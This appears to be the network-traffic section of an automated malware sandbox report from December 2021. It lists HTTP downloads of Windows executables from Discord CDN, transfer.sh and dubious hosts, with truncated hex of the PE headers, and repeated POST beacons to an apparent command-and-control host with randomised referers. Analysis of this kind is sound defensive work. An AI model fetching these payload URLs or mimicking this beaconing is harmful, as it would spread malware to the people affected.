00 00 50 45 00 00 4c 01 06 00 1b b4 65 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ee 03 00 00 20 09 00 00 00 00 00 b0 3d 02 00 00 10 00 00 00 00 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 0d 00 00 04 00 00 93 13 06 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 cc eb 03 00 28 00 00 00 00 90 0c 00 88 62 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0d 00 24 21 00 00 70 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 a5 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 e8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 4e ed 03 00 00 10 00 00 00 ee 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 68 6f 08 00 00 00 04 00 00 8c 00 00 00 f2 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 65 6a 65 76 75 00 05 00 00 00 00 70 0c 00 00 02 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 6f 7a 69 00 00 00 93 0d 00 00 00 80 0c 00 00 0e 00 00 00 80 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 88 62 00 00 00 90 0c 00 00 64 00 00 00 8e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ee 3b 00 00 00 00 0d 00 00 3c 00 00 00 f2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:58 GMTContent-Type: application/x-msdos-programContent-Length: 342528Connection: closeLast-Modified: Tue, 28 Dec 2021 04:18:02 GMTETag: "53a00-5d42d1b68bb7d"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 04 b7 bc 92 40 d6 d2 c1 40 d6 d2 c1 40 d6 d2 c1 2f a0 4c c1 51 d6 d2 c1 2f a0 78 c1 2a d6 d2 c1 49 ae 41 c1 43 d6 d2 c1 40 d6 d3 c1 fd d6 d2 c1 2f a0 79 c1 76 d6 d2 c1 2f a0 48 c1 41 d6 d2 c1 2f a0 4f c1 41 d6 d2 c1 52 69 63 68 40 d6 d2 c1 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 c5 98 8d 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 fa 03 00 00 20 09 00 00 00 00 00 50 4a 02 00 00 10 00 00 00 10 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 0d 00 00 04 00 00 93 2b 06 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c f8 03 00 28 00 00 00 00 a0 0c 00 88 62 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 0d 00 18 21 00 00 70 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 a5 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 e8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ee f9 03 00 00 10 00 00 00 fa 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 68 6f 08 00 00 10 04 00 00 8c 00 00 00 fe 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 66 69 67 00 00 00 00 05 00 00 00 00 80 0c 00 00 02 00 00 00 8a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 68 69 6c 6f 00 00 00 93 0d 00 00 00 90 0c 00 00 0e 00 00 00 8c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 88 62 00 00 00 a0 0c 00 00 64 00 00 00 9a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f8 3b 00 00 00 10 0d 00 00 3c 00 00 00 fe 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.2Date: Tue, 28 Dec 2021 04:19:03 GMTContent-Type: application/x-msdos-programContent-Length: 645592Connection: closeLast-Modified: Wed, 08 Dec 2021 03:32:46 GMTETag: "9d9d8-5d29a24b21380"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 13 00 ea 98 3d 53 00 76 08 00 3f 0c 00 00 e0 00 06 21 0b 01 02 15 00 d0 06 00 00 e0 07 00 00 06 00 00 58 10 00 00 00 10 00 00 00 e0 06 00 00 00 90 60 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 09 00 00 06 00 00 38 c3 0a 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 07 00 98 19 00 00 00 d0 07 00 4c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 fc 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac d1 07 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 ce 06 00 00 10 00 00 00 d0 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 30 60 2e 64 61 74 61 00 00 00 b0 0f 00 00 00 e0 06 00 00 10 00 00 00 d6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 64 61 74 61 00 00 24 ad 00 00 00 f0 06 00 00 ae 00 00 00 e6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 40 2e 62 73 73 00 00 00 00 98 04 00 00 00 a0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 40 c0 2e 65 64 61 74 61 00 00 98 19 00 00 00 b0 07 00 00 1a 00 00 00 94 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 4c 0a 00 00 00 d0 07 00 00 0c 00 00 00 ae 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 18 00 00 00 00 e0 07 00 00 02 00 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 f0 07 00 00 02 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 fc 27 00 00 00 00 08 00 00 28 00 00 00 be 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 60 01 00 00 00 30 08 00 00 02 00 00 00 e6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 c8 03 00 00 00 40 08 00 00 04 00 00 00 e8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 35 00 00 00 00 00 4d 06 00 00 00 50 08 00 00 08 00 00 00 ec 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 31 00 00 00 00 00 60 43 00 00 00 60 08 00 00 44 00 00 00 f4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 36 33 00 00 00 00 00 84 0d 00 00 00 b0 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:28 GMTContent-Type: application/x-msdos-programContent-Length: 844800Connection: closeLast-Modified: Mon, 27 Dec 2021 16:22:27 GMTETag: "ce400-5d4231c541a6e"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 04 b7 bc 92 40 d6 d2 c1 40 d6 d2 c1 40 d6 d2 c1 2f a0 4c c1 51 d6 d2 c1 2f a0 78 c1 2a d6 d2 c1 49 ae 41 c1 43 d6 d2 c1 40 d6 d3 c1 fd d6 d2 c1 2f a0 79 c1 76 d6 d2 c1 2f a0 48 c1 41 d6 d2 c1 2f a0 4f c1 41 d6 d2 c1 52 69 63 68 40 d6 d2 c1 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 92 ed 9f 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 9e 0b 00 00 26 09 00 00 00 00 00 30 ee 09 00 00 10 00 00 00 b0 0b 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 48 00 00 04 00 00 92 c0 0d 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 9c 0b 00 28 00 00 00 00 40 14 00 90 62 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 28 21 00 00 60 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 a5 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 e4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b0 9d 0b 00 00 10 00 00 00 9e 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 68 6f 08 00 00 b0 0b 00 00 8c 00 00 00 a2 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 68 75 77 75 00 00 00 05 00 00 00 00 20 14 00 00 02 00 00 00 2e 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 73 61 78 00 00 00 00 93 0d 00 00 00 30 14 00 00 0e 00 00 00 30 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 90 b2 33 00 00 40 14 00 00 64 00 00 00 3e 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 bc 40 00 00 00 00 48 00 00 42 00 00 00 a2 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 28 Dec 2021 04:19:33 GMTServer: Apache/2.4.18 (Ubuntu)Last-Modified: Mon, 27 Dec 2021 19:51:47 GMTETag: "21af80-5d42608f7478b"Accept-Ranges: bytesContent-Length: 2207616Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4b 95 c0 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 2c 01 00 00 de 03 00 00 00 00 00 00 e0 4b 00 00 10 00 00 00 40 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 4d 00 00 04 00 00 90 20 22 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 70 49 00 54 01 00 00 00 80 49 00 9c 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 73 68 61 72 65 64 00 00 60 49 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 70 64 61 74 61 00 00 00 10 00 00 00 70 49 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 9c 54 02 00 00 80 49 00 9c 54 02 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 44 41 54 41 00 00 00 00 00 80 01 00 00 e0 4b 00 47 7d 01 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 28 Dec 2021 04:19:45 GMTServer: Apache/2.4.18 (Ubuntu)Last-Modified: Mon, 20 Dec 2021 14:18:30 GMTETag: "9d9d8-5d394902c2106"Accept-Ranges: bytesContent-Length: 645592Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 13 00 ea 98 3d 53 00 76 08 00 3f 0c 00 00 e0 00 06 21 0b 01 02 15 00 d0 06 00 00 e0 07 00 00 06 00 00 58 10 00 00 00 10 00 00 00 e0 06 00 00 00 90 60 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 09 00 00 06 00 00 38 c3 0a 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 07 00 98 19 00 00 00 d0 07 00 4c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 fc 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac d1 07 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 ce 06 00 00 10 00 00 00 d0 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 30 60 2e 64 61 74 61 00 00 00 b0 0f 00 00 00 e0 06 00 00 10 00 00 00 d6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 64 61 74 61 00 00 24 ad 00 00 00 f0 06 00 00 ae 00 00 00 e6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 40 2e 62 73 73 00 00 00 00 98 04 00 00 00 a0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 40 c0 2e 65 64 61 74 61 00 00 98 19 00 00 00 b0 07 00 00 1a 00 00 00 94 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 4c 0a 00 00 00 d0 07 00 00 0c 00 00 00 ae 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 18 00 00 00 00 e0 07 00 00 02 00 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 f0 07 00 00 02 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 fc 27 00 00 00 00 08 00 00 28 00 00 00 be 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 60 01 00 00 00 30 08 00 00 02 00 00 00 e6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 c8 03 00 00 00 40 08 00 00 04 00 00 00 e8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 35 00 00 00 00 00 4d 06 00 00 00 50 08 00 00 08 00 00 00 ec 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 31 00 00 00 00 00 60 43 00 00 00 60 08 00 00 44 00 00 00 f4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 36 33 00 00 00 00 00 84 0d 00 00 00 b0 08 00 00 0

Source: global traffic	HTTP traffic detected: GET /attachments/812323288264605709/924475642190397461/Hairstyle.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /get/s3SPeb/A.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: transfer.sh
Source: global traffic	HTTP traffic detected: GET /attachments/925145879403446292/925145901322879006/top.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /x009B.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: downloafilesaccess.ddns.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ycifwuti.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 218Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vnfvs.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 363Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rcrjju.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 217Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qvavjfmo.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 193Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://poiftoddew.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 333Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rvmcdus.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 204Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wjfjbpqm.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 232Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://aybsb.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 189Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hwrlndxid.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 265Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/5376_1640094939_1074.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jteovwto.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 245Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://oqydrde.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 337Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tkeghqsng.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 156Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytools-foryou-777.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gjygx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 117Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kfxca.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 358Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ryipue.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 117Host: host-data-coin-11.com
